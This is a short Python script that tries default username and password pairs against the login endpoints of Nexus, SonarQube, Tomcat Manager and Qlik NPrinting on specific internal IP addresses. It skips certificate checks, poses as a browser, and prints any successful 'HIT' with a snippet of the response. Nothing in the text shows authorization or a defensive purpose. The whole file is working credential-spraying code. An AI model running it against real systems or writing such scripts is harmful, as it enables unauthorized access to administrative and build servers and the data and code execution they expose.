import base64, json, ssl, urllib.request

CTX = ssl._create_unverified_context()


def req(u, user=None, pwd=None, method='GET', data=None):
    h = {'User-Agent': 'Mozilla/5.0'}
    if user is not None:
        h['Authorization'] = 'Basic ' + base64.b64encode(('%s:%s' % (user, pwd)).encode()).decode()
    r = urllib.request.Request(u, headers=h, method=method, data=data)
    try:
        resp = urllib.request.urlopen(r, timeout=8, context=CTX)
        return resp.status, resp.read(200)
    except urllib.error.HTTPError as e:
        return e.code, e.read(120)
    except Exception as e:
        return 'ERR', str(e)[:60].encode()


PAIRS = [('admin', 'admin'), ('admin', 'admin123'), ('admin', 'password'), ('administrator', 'administrator'), ('tomcat', 'tomcat'), ('root', 'root')]

print('== nexus (users api)')
for u, p in PAIRS:
    st, body = req('https://10.112.205.15/service/rest/v1/security/users', u, p)
    if st == 200:
        print('  HIT', u, p, body[:120])
        break
    print('  ', u, p, st)

print('== sonarqube')
for u, p in PAIRS:
    st, body = req('https://10.112.205.133/api/authentication/login?login=%s&password=%s' % (u, p), method='POST', data=b'')
    if st == 200:
        print('  HIT', u, p, body[:80])
        break
    print('  ', u, p, st)

print('== tomcat manager')
for u, p in PAIRS:
    st, body = req('https://100.64.2.133:8443/manager/html', u, p)
    print('  ', u, p, st, body[:60])
    if st == 200:
        break

print('== qlik nprinting')
for u, p in [('admin', 'admin'), ('administrator', 'password'), ('admin', 'password')]:
    st, body = req('https://100.64.2.84/api/v1/login?login=%s&password=%s' % (u, p), method='POST', data=b'')
    print('  ', u, p, st, body[:80])
